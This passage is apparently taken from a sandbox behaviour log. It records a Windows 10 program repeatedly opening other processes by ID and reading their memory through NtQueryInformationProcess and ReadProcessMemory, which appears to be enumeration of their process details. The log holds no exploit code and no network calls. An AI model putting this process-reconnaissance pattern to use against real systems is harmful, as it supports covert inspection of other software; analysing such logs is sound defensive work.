free (_Block=0xeb6380) [0359.423] CloseHandle (hObject=0xa9c) returned 1 [0359.424] _ui64tow_s (in: _Value=0x1048, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4168") returned 0x0 [0359.424] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4168") returned 4 [0359.424] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.424] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.425] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1048) returned 0xa9c [0359.425] GetLastError () returned 0x0 [0359.425] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.425] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x24c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.425] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.425] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x462690, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.425] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x462258, lpBuffer=0x5ec5a0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.426] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.426] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.426] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x24c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.426] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x461c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.426] malloc (_Size=0x84) returned 0xe87ca0 [0359.426] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4622d4, lpBuffer=0xe87ca0, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87ca0*, lpNumberOfBytesRead=0x0) returned 1 [0359.427] free (_Block=0xe87ca0) [0359.438] CloseHandle (hObject=0xa9c) returned 1 [0359.438] _ui64tow_s (in: _Value=0x1050, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4176") returned 0x0 [0359.439] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4176") returned 4 [0359.439] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.439] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.440] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1050) returned 0xa9c [0359.440] GetLastError () returned 0x0 [0359.440] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.440] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x322018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.440] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.440] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.440] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.441] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.441] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.441] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x322020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.441] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.441] malloc (_Size=0x6a) returned 0xea90a0 [0359.441] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a22ba, lpBuffer=0xea90a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea90a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.442] free (_Block=0xea90a0) [0359.442] CloseHandle (hObject=0xa9c) returned 1 [0359.443] _ui64tow_s (in: _Value=0x105c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4188") returned 0x0 [0359.443] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4188") returned 4 [0359.443] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.443] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.444] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x105c) returned 0xa9c [0359.444] GetLastError () returned 0x0 [0359.444] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.444] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x22d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.444] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.444] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e26b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.444] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2258, lpBuffer=0x5ec5a0, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.445] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.445] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.445] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x22d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.445] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.445] malloc (_Size=0x8e) returned 0xec7b60 [0359.445] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e22de, lpBuffer=0xec7b60, nSize=0x8c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7b60*, lpNumberOfBytesRead=0x0) returned 1 [0359.446] free (_Block=0xec7b60) [0359.446] CloseHandle (hObject=0xa9c) returned 1 [0359.446] _ui64tow_s (in: _Value=0x1068, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4200") returned 0x0 [0359.446] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4200") returned 4 [0359.446] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.446] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.447] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1068) returned 0xa9c [0359.447] GetLastError () returned 0x0 [0359.447] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.447] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ab018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.447] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.448] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.448] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f2258, lpBuffer=0x5ec5a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.448] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.448] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.448] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ab020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.448] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.449] malloc (_Size=0x66) returned 0xeb60e0 [0359.449] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f22b6, lpBuffer=0xeb60e0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb60e0*, lpNumberOfBytesRead=0x0) returned 1 [0359.449] free (_Block=0xeb60e0) [0359.449] CloseHandle (hObject=0xa9c) returned 1 [0359.449] _ui64tow_s (in: _Value=0x1080, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4224") returned 0x0 [0359.450] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4224") returned 4 [0359.450] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.450] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.451] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1080) returned 0xa9c [0359.451] GetLastError () returned 0x0 [0359.451] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.451] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x34f018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.451] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.451] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e26f0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.451] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e2258, lpBuffer=0x5ec5a0, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.452] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.452] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.452] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x34f020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.452] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.452] malloc (_Size=0xa2) returned 0xe96550 [0359.452] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e22f2, lpBuffer=0xe96550, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe96550*, lpNumberOfBytesRead=0x0) returned 1 [0359.453] free (_Block=0xe96550) [0359.453] CloseHandle (hObject=0xa9c) returned 1 [0359.453] _ui64tow_s (in: _Value=0x1088, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4232") returned 0x0 [0359.453] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4232") returned 4 [0359.453] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.453] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.454] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1088) returned 0xa9c [0359.454] GetLastError () returned 0x0 [0359.454] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.454] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b6018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.454] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.455] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7d2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.455] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7d2258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.455] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.455] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.455] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b6020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.455] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.456] malloc (_Size=0x6a) returned 0xea96a0 [0359.456] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7d22ba, lpBuffer=0xea96a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea96a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.456] free (_Block=0xea96a0) [0359.456] CloseHandle (hObject=0xa9c) returned 1 [0359.456] _ui64tow_s (in: _Value=0x10dc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4316") returned 0x0 [0359.456] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4316") returned 4 [0359.457] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.457] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.457] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10dc) returned 0xa9c [0359.457] GetLastError () returned 0x0 [0359.458] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.458] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x29c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.458] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.458] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.459] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.460] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.460] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.460] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x29c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.460] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x471c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.460] malloc (_Size=0x72) returned 0xea8b20 [0359.460] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4722c2, lpBuffer=0xea8b20, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8b20*, lpNumberOfBytesRead=0x0) returned 1 [0359.461] free (_Block=0xea8b20) [0359.461] CloseHandle (hObject=0xa9c) returned 1 [0359.461] _ui64tow_s (in: _Value=0x10e4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4324") returned 0x0 [0359.461] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4324") returned 4 [0359.462] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.462] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.462] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10e4) returned 0xa9c [0359.462] GetLastError () returned 0x0 [0359.463] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.463] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c1018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.463] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.463] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x482660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.464] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x482258, lpBuffer=0x5ec5a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.464] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.465] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.465] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c1020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.465] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x481c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.465] malloc (_Size=0x74) returned 0xea90a0 [0359.465] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4822c4, lpBuffer=0xea90a0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea90a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.466] free (_Block=0xea90a0) [0359.466] 